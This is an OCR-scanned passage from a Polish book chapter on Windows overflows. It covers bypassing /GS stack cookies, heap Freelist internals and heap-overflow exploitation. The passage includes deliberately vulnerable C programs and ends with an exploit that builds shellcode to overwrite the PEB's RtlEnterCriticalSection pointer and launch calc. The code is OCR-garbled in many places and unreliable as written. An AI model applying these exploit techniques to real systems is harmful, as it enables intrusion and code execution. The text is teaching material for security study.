niewltasciwego kodu. Zwykle dziatania te sprowadzaja si¢ do zakonczenie pracy procesu.
Chociaz moze wydawac sig, ze rozwiazanie takie zapewnia skuteczng ochrong przed
atakami wykorzystujacymi przepehienie, to jednak na przyktadzie wykorzystania
procedur obstugi wyjatkow pokazalismy juz, ze tak nie jest. Ochrona za pomoca
znacznikow bezpieczenstwa utrudnia takie wlamania, ale nie eliminuje ich.

Przyjrzyjmy si¢ blizej sposobowi dziatania mechanizmu ochrony stosu i sprébujmy
znalez¢ jeszcze inne metody jego obejscia. Znaczniki bezpieczenstwa generowane sa
W wystarczajaco losowy sposob, aby prébowaé odgadnaé ich wartos¢. Przedstawiony
ponizej kod w jezyku C nasladuje mechanizm generowania znacznikow w momencie
uruchamiania procesu.

#include <stdio.h>
#include <windows.h>

int main()

{
FILETIME ft;
unsigned int Cookie=0;
unsigned int tmp=0;
unsigned int *ptr=0;
LARGE_INTEGER perfcount;

GetSystemTimeAsFileTime(&ft);
Cookie = ft.dwHighDateTime * ft.dwLowDateTime;
Cookie = Cookie * GetCurrentProcessId();
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Cookie = Cookie * GetCurrentThreadId();
Cookie = Cookie * GetTickCount();
QueryPerformanceCounter(&perfcount) ;
ptr = (unsigned int)&perfcount;

tmp = *(ptr+l) * *ptr;

Cookie = Cookie * tmp;

printf("Cookie: %.8X\n",Cookie);

return 0;

}

Najpierw wywolana zostaje funkcja GetSystemTimeAsFileTime. Wypeklnia ona dwa
elementy struktury FILETIME — dwHighDateTime i dwLowDateTime. Te dwie wartosci sa
nastepnie poddawane operacji roznicy symetrycznej. Otrzymany wynik poddawany
jest tej samej operacji, ktorej drugim argumentem sg kolejno: identyfikator procesu,
identyfikator watku oraz liczba milisekund, ktére uplynety od momentu startu systemu
(wartos¢ te zwraca funkcja GetTickCount()). Na koncu wywolywana jest funkcja Query
PerformanceCounter, ktorej parametrem jest wskaznik wartosci 64-bitowej. Wartos¢ ta
jest nastgpnie dzielona na dwie wartosci 32-bitowe, na ktérych wykonywana jest
operacja XOR. Uzyskany wynik jest jeszcze raz poddawany operacji XOR ze znacznikiem
bezpieczenstwa. Uzyskana warto$¢ znacznika bezpieczenstwa umieszczana jest w pliku
w sekcji .data.

Zastosowanie opcji /GS powoduje rowniez zmiang uktadu zmiennych lokalnych podczas
generowania kodu przez kompilator. Porzadek zmiennych lokalnych pozostaje w zgodzie
z kolejnoscia ich definicji w programie w jezyku C, ale wszystkie tablice zostaja przesu-
nigte na koniec listy zmiennych lokalnych i w efekcie znajda si¢ w poblizu adresu powrotu
na stosie. W ten sposob zapobiega si¢ nadpisaniu zmiennych lokalnych na skutek prze-
petnienia. Zadaniem tego rozwiazania jest przede wszystkim ochrona zmiennych lo-
gicznych decydujacych o przeptywie sterowania oraz wskaznikow funkcji.

Aby zilustrowa¢ pierwsza z wymienionych korzysci, wyobrazmy sobie program, kto-
ry uwierzytelnia uzytkownikéw, a procedura uwierzytelniania podatna jest na atak na
skutek przepetnienia. Jesli uwierzytelni ona uzytkownika, to nadaje zmiennej typu
dword warto$¢ 1, a w przeciwnym razie 0. Jesli zmienna taka znajdowataby si¢ za bu-
forem, to haker mogltby go przepeic i nada¢ w ten sposéb zmiennej wartos¢ 1, mimo
Ze nie uwierzytelnit si¢ za pomoca nazwy i odpowiedniego hasta.

Gdy funkcja chroniona za pomoca znacznikow bezpieczenstwa zwraca sterowanie, to
sprawdza, czy znacznik bezpieczenstwa jest taki sam jak w momencie jej wywotlania.
Kopia znacznika zapamigtywana jest w sekcji .data pliku zawierajacego dang funkcje.
I to jest pierwszy powazny problem takiego rozwigzania — wyjasnimy to za chwilg.

Jesli warto$¢ znacznika bezpieczenstwa si¢ nie zgadza, to wywotana zostaje procedu-
ra bezpieczenstwa (jesli zostata zdefiniowana). Wskaznik tej procedury przechowy-
wany jest rowniez w sekcji .data. Jesli wskaznik ten jest rozny od NULL, to zostaje zala-
dowany do rejestru EAX i wykonywany jest rozkaz call eax. Stanowi on druga stabos¢
tego rozwiazania. Jesli nie zostala zdefiniowana procedura bezpieczenstwa, to wy-
wolywana jest funkcja UnhandledExceptionFilter. Funkcja ta nie powoduje zakon-
czenia procesu, lecz wykonuje szereg operacji i wywoluje wiele roznych funkcji.
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Czytelnikowi zalecamy przeanalizowanie dziatania funkcji UnhandledExceptionFilter
za pomocg IDA Pro. W skrocie dziatanie tej funkcji polega na zatadowaniu biblioteki
faultrep.dll, a nastgpnie wykonaniu funkcji ReportFault eksportowanej przez tg bi-
blioteke¢. Funkcja ta odpowiedzialna jest migdzy innymi za wyswietlenie okna dialo-
gowego, ktore umozliwia poinformowanie firmy Microsoft o zaistniatym biedzie.
Funkcja ReportFault wykorzystuje potoki PCHHangRepExecPipe i PCHFaultRepExecP1ipe.

Zajmijmy si¢ teraz wspomnianymi problemami omawianego rozwiazania. Najlepiej
bedzie zilustrowac je przyktadowym kodem.

#include <stdio.h>
#include <windows.h>

HANDLE hp=NULL ;
int ReturnHostFromUrl(char **, char *);

int main()
{
char *ptr = NULL;
hp = HeapCreate(0,0x1000,0x10000);
ReturnHost-FromUrl (&ptr, "http://www.ngssoftware.com/index.html");
printf("Host is %s",ptr);
HeapFree(hp,0,ptr);

return 0;
1
int ReturnHostFromUrl(char **buf, char *url)
{

int count = 0;
char *p = NULL;
char buffer[40]="";

// wskaznik poczatku adresu URL
p = strstr(url,"http://");
if(lp)
return 0;
p=p+7
// przetwarza Tokalng kopie
strcpy(buffer,p); // <------ UWAGA 1
// wyszukuje pierwszy ukosnik
while(bufferfcount] !="/")
count ++;
// i zastepuje go bajtem zerowym
bufferfcount] = 0;
// Teraz w buforze znajduje sie nazwa hosta
// Tworzymy Jjej kopie na stercie
p = (char *)HeapAlloc(hp,0,strlen(buffer)+1);
if(!p)
return 0;
strepy(p,buffer)
*puf = p; // <e---mm-moo-- UWAGA 2
return 0;
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Program ten wyodrebnia nazwe hosta z adresu URL. Funkcja ReturnHostFromUri
narazona jest na przepetnienie bufora na stosie w miejscu oznaczonym komentarzem
UWAGA 1. Pozostawmy na chwile omowienie tego problemu i przyjrzyjmy si¢ prototy-
powi tej funkcji. Posiada ona dwa parametry — pierwszy jest wskaznikiem wskazni-
ka (char **), a drugi wskaznikiem adresu URL. Komentarzem UWAGA 2 opatrzylismy
instrukcje, ktéra pierwszemu parametrowi nadaje warto$¢ wskazujaca nazwe hosta
umieszczong na stercie. Przyjrzyjmy si¢ reprezentacji tej instrukcji na poziomie roz-
kazow asemblera.

004011BC mov ecx,dword ptr [ebp+8]
004011BF mov edx,dword ptr [ebp-8]
004011C2 mov dword ptr [ecx],edx

Pierwszy z rozkazéw umieszcza adres wskaznika przekazanego jako parametr w reje-
strze ECX. Nastepnie do rejestru EDX zostaje zatadowany wskaznik nazwy hosta znaj-
dujacej sie na stercie. Ostatni z rozkazéw umieszcza ten wskaznik pod adresem wska-
zywanym przez rejestr ECX. I tutaj pojawia si¢ jeden ze wspomnianych probleméow.
Jesli przepelnimy bufor na stosie, nadpiszemy znacznik bezpieczenstwa oraz adres
powrotu, to kolejnymi nadpisywanymi warto$ciami beda parametry funkcji. Ilustruje
to rysunek 8.3.

Rysunek 8.3.
Stos przed

i po przepetnieniu
bufora

Bufor

Bufor

Znacznik

Znacznik

Wartos¢ rejestru EBP

Wartos¢ rejestru EBP

Adres powrotu

Adres powrotu

Parametr 1 N Parametr 1
Parametr 2 Parametr 2
PRZED PO

Na skutek przepetnienia bufora haker moze wigc uzyska¢ kontrole nad parametrami
przekazanymi funkcji. Z tego powodu wykonanie rozkazéw znajdujacych si¢ w pamigci
poczawszy od adresu 0x004011BC (nalezacych do rozwinigcia instrukcji *buf = p),
moze zosta¢ uzyte do nadpisania dowolnej warto$ci w pamieci badz moze spowodowac
naruszenie ochrony pamigci. Druga z tych mozliwo$ci wystapi na przyktad w sytuacji,
gdy nadpiszemy parametr znajdujacy si¢ pod adresem EBP + 8 warto$cig 0x41414141.
Nastgpnie proces sprobuje zapisa¢ wskaznik pod adresem reprezentowanym przez tg
wartos¢, co spowoduje naruszenie ochrony pamigci. Jednoczesnie sytuacja taka pozwoli
nam wykorzysta¢ mechanizm struktur opisujacych procedury obstugi wyjatkéw do
obejscia mechanizmu zabezpieczen stosu. A co w przypadku, gdy nie chcemy spowo-
dowa¢ wyjatku? Poniewaz obecnie zastanawiamy si¢ nad innymi sposobami obejscia
zabezpieczen stosu, to przyjrzyjmy si¢ dokladnie pierwszej z wymienionych mozli-
wosci (zapisowi dowolnej wartosci w pamigci).

Wroémy zatem do problemow wskazanych w procesie sprawdzania wartosci znaczni-
ka bezpieczenstwa. Pierwszy z nich pojawia si¢ na skutek przechowania oryginalnej
wartosci znacznika w sekcji .data. Dla okreslonej wersji pliku znacznik ten znajduje
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si¢ zawsze w tym samym miejscu (moze to by¢ prawda nawet dla réznych wersji pli-
ku). Jesli adres wskaznika nazwy naszego hosta na stosie jest zawsze taki sam, mo-
zemy nadpisa¢ nim oryginalng warto$¢ znacznika znajdujaca si¢ w sekcji .data, a na-
stepnie warto$¢ znacznika umieszczong na stosie. W ten sposob obie wartosci beda
takie same w momencie ich kontroli. Po pomyslnym wyniku kontroli znacznikow
przejmiemy kontrole nad dziataniem programu i przekazemy sterowanie do wybrane-
go przez nas adresu — tak jak w klasycznym przepehieniu bufora na stosie.

Jednak metoda ta nie jest wcale najlepszym rozwiazaniem w naszym przypadku. Kod
eksploitu mozemy umiesci¢ w buforze i nadpisa¢ adres pewnej funkcji adresem tego
bufora. Gdy funkcja ta zostanie wywotana, to zostanie wykonany nasz kod znajdujacy
sie¢ w buforze. Jednak kontrola znacznikéw bezpieczenstwa da wynik negatywny. [ w ten
spos6b dochodzimy do drugiego ze wspomnianych probleméw. Przypomnijmy jednak,
ze gdy kontrola znacznikéw bezpieczenstwa nie powiedzie si¢ i zdefiniowana zostata
procedura bezpieczenstwa, to procedura ta zostanie wywotana. Stanowi to dla nas do-
skonata okazj¢, poniewaz mozemy nadpisa¢ wskaznik procedury bezpieczenstwa
(ktory umieszczony jest w sekcji .data) wskaznikiem naszego bufora. W ten sposob
przejmiemy sterowanie w momencie, gdy kontrola znacznikow da wynik negatywny.

Przyjrzyjmy si¢ zatem innemu sposobowi. Przypomnijmy, ze jesli kontrola znacznikow
wypadnie negatywnie i nie jest zdefiniowana zadna procedura bezpieczenistwa, to
wywotlana zostanie funkcja UnhandledExceptionFilter (przy zalozeniu, ze réwniez
wskaznik wlasciwej procedury obstugi wyjatkéw posiada wartos¢ NULL). Funkcja ta
wykonuje tak wiele kodu, ze stanowi dla hakera doskonate pole do popisu. Na przyktad
funkcja ta wywotuje funkcje GetSystemDirectoryW, a nastgpnie z uzyskanego katalogu
systemowego taduje biblioteke faultrep.d11. W przypadku przepehienia postugujacego
si¢ kodem Unicode moglibysmy nadpisa¢ wskaznik katalogu systemowego przecho-
wywany w sekcji .data modutu kernel132.d11 za pomoca wskaznika naszego wlasnego
katalogu i w rezultacie spowodowac¢ zatadowanie wlasnej wersji biblioteki faultrep.dl]
zamiast wersji systemowej. Wystarczy, ze wersja ta bedzie eksportowa¢ funkcje Re-
portFault, ktdra zostanie automatycznie wywotana.

Kolejng interesujaca mozliwos¢ (na razie tylko teoretyczna, poniewaz nie mielisSmy
jeszcze czasu jej sprawdzic) stanowi koncepcja wtornego, zagniezdzonego przepetnienia.
Wigkszos¢ funkcji wywotywanych przez UnhandledExceptionFilter nie jest chroniona
znacznikami. Zatézmy na przyktad, ze funkcja GetSystemDirectoryW jest narazona na
przepehienie, poniewaz zaktada, ze dlugos¢ tancucha katalogowego nie przekracza nigdy
260 bajtéw i pochodzi on zawsze z zaufanego zrodla. Jesli nadpiszemy wskaznik ka-
talogu systemowego wskaznikiem naszego bufora, to mozemy spowodowaé kolejne
przepetnienie i w momencie powrotu funkcji uzyskac sterowanie. W praktyce okazuje
si¢, ze funkcja GetSystemDirectoryW jest odporna na tego rodzaju atak. Jednak taki
staby punkt moze kry¢ si¢ w innych fragmentach kodu wykonywanego przez Unhan-
dledExceptionFilter. Pozostaje tylko go odnalez¢.

W naturalny sposob nasuwa si¢ pytanie, czy scenariusz, w ktérym uzyskujemy moz-
liwo$¢ modyfikacji dowolnego miejsca w pamigci, zanim dokonana zostanie kontrola
znacznikéw, moze zdarzy¢ si¢ w praktyce. OdpowiedzZ na to pytanie jest pozytyw-
na, a sytuacja taka wystepuje dos¢ czesto. Przyktadem moze by¢ staby punkt DCOM
wykryty przez grupe The Last Stage of Delirium. W tym przypadku parametr jednej
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z funkcji posiada typ wchar **. Umozliwia on nadpisanie dowolnego miejsca w pa-
migci tuz przed powrotem tej funkcji. Jedyny problem z wykorzystaniem tej techniki
polega na koniecznosci wywolania przepetienia za pomoca danych wejsciowych, ktore
musza by¢ $ciezka UNC zakodowana w Unicode i rozpoczynajaca si¢ od dwoch znakow
odwrotnego uko$nika. Przy zalozeniu, ze nadpisujemy wskaznik procedury bezpieczenstwa
wskaznikiem naszego bufora, pierwszymi rozkazami po jego wywolaniu powinny by¢:

pop esp
add byte ptrleaxteax+n],bl

gdzie » jest nastepnym bajtem w buforze. Poniewaz zapis pod adresem EAX+EAX+n nie
jest nigdy mozliwy, to nastapi naruszenie ochrony pamigci i utracimy nasz proces. Ze
wzgledu na dwa znaki odwrotnego ukosnika znajdujace si¢ na poczatku bufora wyko-
rzystanie tej metody nie jest wigc mozliwe. Gdyby nie te znaki, to wystarczyloby na-
stepnie zastosowac jedng z omowionych wczesniej technik.

Pokazalismy, ze istnieje wiele sposobow obej$cia mechanizmu ochrony stosu za po-
mocg znacznikow bezpieczenstwa. Mozna wykorzysta¢ w tym celu struktury zwiaza-
ne z obstuga wyjatkow badz parametry przekazywane funkcjom przez stos. Z pewno-
$cia jednak kolejne wersje systemow firmy Microsoft posiada¢ beda udoskonalone
mechanizmy bezpieczenstwa, ktdre utrudnia wykorzystanie przepetien stosu.

Przepeinienia sterty

Przepehienia stery sa co najmniej tak samo grozne jak przepelnienia stosu. Zanim
przejdziemy do ich omowienia, przypomnijmy definicj¢ sterty. Sterta jest obszarem
pamigci uzywanym przez programy do przechowywania dynamicznie tworzonych
danych. Wezmy na przyklad pod uwage serwer Web. W momencie kompilacji jego kodu
nie jest znana liczba i rodzaj zadan, ktore bedzie on musiat obstuzy¢. Niektore z nich
beda zawiera¢ jedynie 20 bajtéw, a inne 20 000 bajtow. Serwer musi poradzi¢ sobie w obu
sytuacjach. Zamiast uzywa¢ w tym celu bufora o stalym rozmiarze przydzielonego na
stosie, moze zazada¢ przydzielenia obszaru pamigci na stercie o rozmiarze odpowiednim
dla obstugiwanego zadania. Zastosowanie stosu usprawnia zarzadzanie pamigcia,
umozliwiajac tworzenie aplikacji, ktore lepiej si¢ skaluja.

Sterta procesu

Kazdy proces Win32 posiada domysing sterte okre$lang mianem sterty procesu. Wy-
wotanie funkcji GetProcessHeap() zwraca uchwyt sterty procesu. Wskaznik sterty procesu
przechowywany jest rowniez w bloku PEB (Process Environment Block). Ponizszy
fragment kodu w jezyku asemblera zwraca wskaznik sterty procesu w rejestrze EAX.

mov eax, dword ptr fs:[0x30]

mov eax, dword ptrleax+0x18]

Wiele funkcji Win32 uzywa wlasnie sterty procesu.



Rozdziat 8. ¢ Przepemienia w systemie Windows 165

Sterty dynamiczne

Oprocz domyslnej sterty proces moze posiada¢ réwniez dowolng liczbe stert tworzo-
nych dynamicznie. Sterty dynamiczne sa dostgpne globalnie w obrebie danego proce-
su i tworzone przez wywolanie funkcji HeapCreate().

Korzystanie ze sterty

Zanim proces moze umies$ci¢ dane na stercie, musi przydzieli¢ im pewien obszar
sterty. W tym celu wywotuje funkcje HeapAllocation(), podajac rozmiar zadanego ob-
szaru. Jesli przydzial zakonczy si¢ pomyslnie, funkcja zwréci wskaznik przydzielonego
obszaru. Menedzer sterty zarzadza przydzialem obszarow, wykorzystujac w tym celu
odpowiednie struktur. Struktury te zawieraja informacje o rozmiarze przydzielonego blo-
ku oraz wskazniki do poprzedniego oraz nastgpnego obszaru.

Zwykle aplikacja uzywa funkcji HeapAllocation(), ale istnieje rowniez wiele innych
funkcji operujacych na stercie, gtownie ze wzgledu na konieczno$¢ zachowania zgod-
nosci ze wezesniejszymi wersjami systemu Windows. W systemach Winl6 istniaty dwa
rodzaje stert: globalna sterta dostgpna dla wszystkich proceséw oraz lokalna sterta
kazdego procesu. Win32 nadal posiada funkcje GlobalAlloc() i Local Alloc(). Jednak
w przypadku Win32 obie wymienione funkcje przydzielaja obszary pamigci na do-
myslnej stercie procesu. W rzeczywistosci obie funkcje deleguja to zadanie do funkcji
HeapAllocate() w nastgpujacy sposob:

h = HeapAllocate(GetProcessHeap(), 0, size);

Gdy przydzielony obszar nie jest juz dluzej potrzebny, proces moze zwolni¢ go, wy-
wolujac jedna z funkcji HeapFree(), LocalFree() badz GlobalFree().

Wigcej informacji na temat korzystania ze sterty mozna znalez¢ w dokumentacji MSDN
na stronie Attp://msdn.microsoft.com/library/default. asp?url=/library/en-us/memory/base/
memory_management_reference.asp

Jak dziata sterta

Podczas gdy stos wzrasta w kierunku adresu 0x00000000, to sterta rozbudowywana
jest w kierunku przeciwnym. Jesli funkcja HeapAllocate zostanie wywotana dwukrotnie,
to za pierwszym razem zostanie przydzielony obszar o nizszym adresie wirtualnym
niz podczas drugiego wywotania. W ten sposob przepehienie pierwszego bufora mo-
ze spowodowac nadpisanie informacji w drugim buforze, a nie na odwrét.

Kazda sterta, domyslna lub dynamiczna, rozpoczyna sie od struktury, w ktérej oprocz
innych danych znajduje sig¢ tablica Freelist zawierajaca 128 struktur LIST _ENTRY shu-
zacych do zarzadzania wolnymi blokami pamigci. Kazda struktura LIST ENTRY (zdefi-
niowana w Winnt.h) zawiera dwa wskazniki, a tablica Freelists przesunigta jest
0 0x178 bajtow wzgledem poczatku sterty. Po utworzeniu sterty struktura Freelists[0]
zawiera dwa wskazniki pierwszego wolnego obszaru, ktoéry moze zosta¢ przydzielony.
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Pod adresem wskazywanym przez te wskazniki znajduja si¢ natomiast dwa wskazniki
struktury Freel ists[0]. Zakladajac, ze adres bazowy sterty wynosi 0x00350000, a pierwszy
wolny blok ma adres 0x00350688, to:

4 Pod adresem 0x00350178 (FreeList[0].F11ink) znajduje si¢ wskaznik
posiadajacy warto$¢ 0x00350688 (adres pierwszego wolnego bloku).

4 Pod adresem 0x0035017C (FreeList[0].B1ink) znajduje si¢ wskaznik
posiadajacy wartos¢ 0x00350688 (adres pierwszego wolnego bloku).

4 Pod adresem 0x00350688 (pierwszy wolny blok) znajduje si¢ wskaznik
posiadajacy warto$¢ 0x00350178 (adres struktury FreelList[0]).

4 Pod adresem 0x0035068C (pierwszy wolny blok + 4) znajduje si¢ wskaznik
posiadajacy warto$¢ 0x00350178 (adres struktury FreelList[0]).

W przypadku przydzialu bloku pamigci (na przyktad na skutek wywotania funkcji
Rt1AllocateHeap zadajacego obszaru 260 bajtow) wskazniki Freelist[0].Flink
i FreeList[0].Blink zostang zaktualizowane w taki sposob, by wskazywaty nastgpny
wolny blok, ktory moze zosta¢ przydzielony. Co wigcej, dwa wskazniki wskazujace
tablice Freelist zostang przeniesione na koniec przydzielonego bloku. Kazdy nowy
przydziat lub zwolnienie bloku pamigci spowoduje aktualizacje tych wskaznikow.
W ten sposéb przydzielone bloki utworza dwukierunkowa list¢ powiazana za pomoca
wskaznikéw. Gdy przepehienie bufora umieszczonego w jednym z blokow spowoduje
nadpisanie wskaznikéw innego bloku, to moga one zosta¢ uzyte do nadpisania dowolnego
podwojnego stowa (dword) w pamigci. Moze nim by¢ na przyktad wskaznik funkcji,
co pozwoli hakerowi przejac kontrole nad dziataniem programu. Jesli jednak przed wy-
wotaniem tej funkcji wystapi wyjatek, to hakerowi nie uda si¢ przejacé sterowania.
Dlatego lepszym rozwiazaniem jest nadpisanie wskaznika procedury obshugi wyjatkow.

Zanim przejdziemy do omowienia sposobow wykorzystania przepehien sterty do
wlaman, przyjrzyjmy si¢ zwigzanym z tym problemom.

Ponizszy program narazony jest na atak przez przepehienie sterty.

#include <stdio.h>
#include <windows.h>

DWORD MyExceptionHandler(void);
int foo(char *buf);

int main(int argc, char *argv[])
{
HMODULE 1;
1 = LoadLibrary("msvert.d11");
1 = LoadLibrary("netapi32.d11");
printf("\n\nHeapoverflow program.\n");
if(argc 1= 2)
return printf("ARGS!");
foo(argv[1]);
return 0;
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DWORD MyExceptionHandler(void)

printf("In exception handler....");
ExitProcess(1);
return 0;

}

int foo(char *buf)

HLOCAL h1 = 0, h2 = 0;
HANDLE hp;

_try{
hp = HeapCreate(0,0x1000,0x10000);
if(!hp)
return printf("Failed to create heap.\n");

hl = HeapAlloc(hp,HEAP ZERO MEMORY,260);
printf("HEAP: %.8X %.8X\n",hl,&h1)

// tutaj przepeinienie sterty:
strepy(hl,buf);

// Drugie wywotanie HeapAlloc() nastepuje juz
// po przejeciu sterowania

h2 = HeapAlloc(hp,HEAP_ZERO MEMORY,260);
printf("hello");

}
__except(MyExceptionHandler())

printf("oops...");
}

return 0;

Program najlepiej skompilowa¢ za pomocg Microsoft Visual C++ 6.0, uzywajac po-
lecenia c1 /TC heap.c.

Stabym punktem tego programu jest wywolanie funkcji strcpy () przez funkcje foo().
Jesli tancuch buf jest dluzszy niz 260 znakow, to nadpisze on strukture sterty. Struktura
ta posiada dwa wskazniki, wskazujace element tablicy Freelist, ktory zawiera kolejna
pare wskaznikdéw do pierwszego wolnego bloku. Gdy blok pamieci jest przydzielany
lub zwalniany, to wskazniki te zamieniane sa miejscami.

Jesli programowi temu przekazemy argument o dlugosci na przyktad 300 bajtow (ktory
z kolei zostanie przekazany funkcji foo(), wewnatrz ktorej zachodzi przepehienie), to
kod naruszy ochrong pamigci, wykonujac nastgpujace rozkazy podczas drugiego wy-
wotlania funkcji HeapAlToc():

77F6256F 89 01 mov  dword ptr [ecx],eax
77F62571 89 48 04 mov  dword ptr [eax+4],ecx
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Chociaz rezultat ten uzyskaliSmy wywolujac po raz drugi funkcj¢ HeapAlloc(), to
wywolanie funkcji HeapFree() lub HeapRealloc() spowodowatoby ten sam efekt.
Jesli przyjrzymy si¢ zawartosci rejestrow ECX i EAX, zobaczymy, Zze zawieraja one dane
tancucha, ktory przekazalismy jako parametr programu. Poniewaz nadpisalismy wskaz-
niki znajdujace si¢ w strukturze uzywanej do zarzadzania sterta, a podczas kolejnego
wywotania funkcji HeapAlloc() zostang one uzyte dla aktualizacji sterty, to w rezultacie
uzyskamy kontrole nad zawartoscia obu rejestrow. Przyjrzyjmy si¢ poszczegdlnym
rozkazom:

mov  dword ptr [ecx],eax

Wykonanie tego rozkazu spowoduje umieszczenie zawartosci rejestru EAX pod adre-
sem wskazywanym przez rejestr ECX. W ten sposob mozemy nadpisa¢ 32 bity znajduja-
ce si¢ w dowolnym miejscu wirtualnej przestrzeni adresowej procesu (pod warunkiem,
ze konfiguracja pamigci dopuszcza operacje zapisu) za pomoca dowolnie wybranej
przez nas warto$ci 32-bitowej. Mozemy wykorzysta¢ to do nadpisania danych steru-
jacych dziataniem programu. Jest jednak pewien problem. Przyjrzyjmy si¢ drugiemu
z rozkazow:

mov  dword ptr [eax+4],ecx

Nastapila teraz zamiana rejestrow miejscami. Zawartos$¢ rejestru EAX (ktorej uzyliSmy
w poprzednim rozkazie do nadpisania wartosci wskazywanej przez zawarto$¢ rejestru ECX)
musi réwnoczesnie reprezentowa¢ prawidlowy adres w pamigci umozliwiajacej operacje
zapisu, poniewaz drugi z rozkazéw umieszcza zawartos¢ rejestru ECX pod adresem EAX+4.
W przeciwnym razie nastapi naruszenie ochrony pamieci. Jak si¢ okazuje, sytuacja
taka wcale nie dziata na nasza niekorzy$¢, a nawet stanowi jeden z powszechniej sto-
sowanych sposobow wykorzystania przepetienia sterty. Hakerzy czgsto nadpisuja
wskaznik procedury obstugi wyjatkéw umieszczony w strukturze EXCEPTION REGISTRATION
znajdujacej si¢ na stosie lub wskaznik procedury Unhandled Exception Filter wartoscia
wskazujaca blok kodu, ktory w momencie wystapienia wyjatku przekaze sterowanie
do ich wiasnego kodu. Nawet jesli rejestr EAX wskazuje adres, pod ktérym mozliwy
jest zapis, to i tak zawartos¢ tego rejestru jest inna niz rejestru ECX, wobec czego ist-
nieje znaczne prawdopodobienstwo, ze funkcje niskiego poziomu zarzadzajace sterta
i tak spowoduja wyjatek. Dlatego tez najtatwiejsza metoda wykorzystania przepetnie-
nia stery jest nadpisanie wskaznika procedury obstugi wyjatkow.

Wykorzystanie przepetnien sterty

Wielu programistow uwaza, ze w przeciwienstwie do przepetnien stosu, przepeknienia
sterty nie stanowia wigkszego zagrozenia i w zwiazku z tym dos$¢ lekkomyslnie uzy-
waja potencjalnie niebezpiecznych funkcji takich jak strcpy() lub strcat() dla bufo-
row przydzielonych na stercie. Z poprzednich punktow tego rozdziatu wiemy juz, ze
najlepszym sposobem wykorzystania przepenien sterty w celu uruchomienia wiasne-
go kodu jest uzycie procedur obstugi wyjatkéw. Nadpisanie wskaznika procedury ob-
stugi wyjatkow stanowi powszechnie uzywang metode. Podobnie nadpisanie wskaz-
nika Unhandled Exception Filter. Zamiast zaglebia¢ si¢ teraz w szczegdty obu metod
(zostang one omowione pod koniec tego punktu), przejdziemy do oméwienia dwdch
zupehie nowych technik.
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Nadpisanie wskaznika funkc;ji
RtIEnterCriticalSection w bloku PEB

Weczesniej omowilismy juz strukture bloku PEB. W tym miejscu warto przypomnieé¢
kilka najistotniejszych faktow. Zawiera ona wskazniki szeregu funkcji, migdzy innymi
Rt1EnterCriticalSection() i Rt1LeaveCriticalSection(). Wskaznikow tych uzywaja
funkcje Rt1AcquirePeblock ()oraz Rt1ReleasePeblLock () eksportowane przez NTDLL.DLL.
Funkcje te wywolywane sa przez funkcje ExitProcess(). Dzigki temu mozemy wy-
korzysta¢ bloki PEB do wykonania dowolnego kodu, zwlaszcza podczas konczenia pra-
cy procesu. Procedury obstugi wyjatkow czesto wywotuja funkcje ExitProcess() i nalezy
to wykorzystac. Posiadajac mozliwos¢ nadpisania dowolnej wartosci dword w pamigci,
mozemy zmodyfikowac jeden ze wspomnianych wskaznikow w bloku PEB. Szczegolna
zaleta tej metody jest stale potozenie bloku PEB niezaleznie od wersji systemu Win-
dows NT i zainstalowanych pakietow serwisowych czy poprawek. Oznacza to, ze in-
teresujace nas wskazniki znajdujq si¢ zawsze w tym samym miejscu.

Wskazniki te nie sg uzywane na platformie Windows 2003 Server (patrz oméwie-
nie pod koniec tego podrozdziatu).

Wskaznik funkcji RtT1EnterCriticalSection() znajduje si¢ zawsze pod adresem
0x7FFDF020. Korzystajac z przepetnienia sterty, bedziemy jednak postugiwaé si¢ adresem
0x7FFDF01C, poniewaz wskazuje go EAX + 4.

77F62571 89 48 04 mov  dword ptr [eax+4],ecx

Sposdb dziatania jest bardzo prosty. Przepelniamy bufor, nadpisujemy dowolna wartos$¢
W pamieci, wywotujac wyjatek zwigzany z naruszeniem ochrony pamigci, co w efekcie
doprowadza do wywotania funkcji ExitProcess. Pamigtajmy jednak, ze pierwsza
operacja wykonang przez nasz kod musi by¢ przywrdcenie oryginalnej warto$ci wskaz-
to$¢ bedzie niewlasciwa, to utracimy nasz proces. W zaleznosci od sposobu dzialania
naszego kodu moze zachodzi¢ réwniez konieczno$¢ naprawienia sterty uszkodzonej
przez przepehienie.

Naprawianie sterty ma oczywiscie sens tylko wtedy, gdy nasz kod wykonuje pewne
operacje podczas konczenia dziatania procesu. Jak juz wspomnieliSmy, sterowanie
trafia do naszego kodu zwykle na skutek wywotania funkcji ExitProcess() przez pro-
cedurg obstugi wyjatkow. Technika wykorzystania naruszenia ochrony pamigci w celu
skierowania sterowania do wlasnego kodu jest szczegolnie przydatna w potaczeniu
z przepetnieniami sterty stosowanymi podczas ataku na programy CGI.

Przedstawiony ponizej kod ilustruje wykorzystanie naruszenia ochrony pamieci do
wykonania wlasnego kodu. Celem wlamania bedzie przedstawiony wczesniej program.

#include <stdio.h>
#include <windows.h>

unsigned int GetAddress(char *1ib, char *func);
void fixupaddresses(char *tmp, unsigned int x);
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int main()

{

unsigned char buffer[300]="";

unsigned char heap[81="";

unsigned char pebf[8]="";

unsigned char shellcode[200]="";

unsigned int address of system = 0;

unsigned int address of RtlEnterCriticalSection = 0;
unsigned char tmp[8]="";

unsigned int cnt = 0;

printf("Getting addresses...\n");

address of system = GetAddress("msvcrt.d11","system");

address_of _Rt1EnterCriticalSection = GetAd-dress("ntd11.d11",

"Rt1EnterCriticalSection");

if(address of system == 0 || ad-dress of RtlEnterCriticalSection == 0)
return printf("Failed to get addresses\n");

printf("Address of msvcrt.system\t\t\t= %.8X\n", address of system);

printf("Address of ntdl1.Rt1EnterCriticalSection\t= %.8X\n", address of_

Rt1EnterCriticalSection);

strcpy (buffer, "heapl ");

// kod powtoki - naprawia blok PEB, a nastepnie wywotuje system("calc");

strcat (buffer, "\"\x90\x90\x90\ x90\ x01\x90\x90\ x6A\x30\ x59\ x64 \ x8B\X01\xBI") ;

fixupaddresses(tmp,address of RtlEnterCriticalSection);
strcat(buffer,tmp);

strcat (buffer, "\x89\x48\x20\x33\xCO\ x50\ x68\x63\ x61 \ x6C\ x63\x54\ x5B\X50\x53\xB9" ) ;

}

fixupaddresses(tmp,address of system);
strcat(buffer,tmp);
strcat(buffer, "\xFF\xD1");

// uzupetnienie

while(cnt < 58)

{
strcat(buffer,"DDDD");
cnt ++;

}

// wskaznik do wskaznika RtlEnterCriticalSection - 4 w bloku PEB
strcat (buffer, "\xIC\xFO\xFD\x7f")

// wskaznik sterty i tym samym kodu powtoki
strcat(buffer, "\x88\x06\x35") ;

strcat(buffer,"\"");

printf("\nExecuting heapl.exe... calc should open.\n");
system(buffer);

return 0;

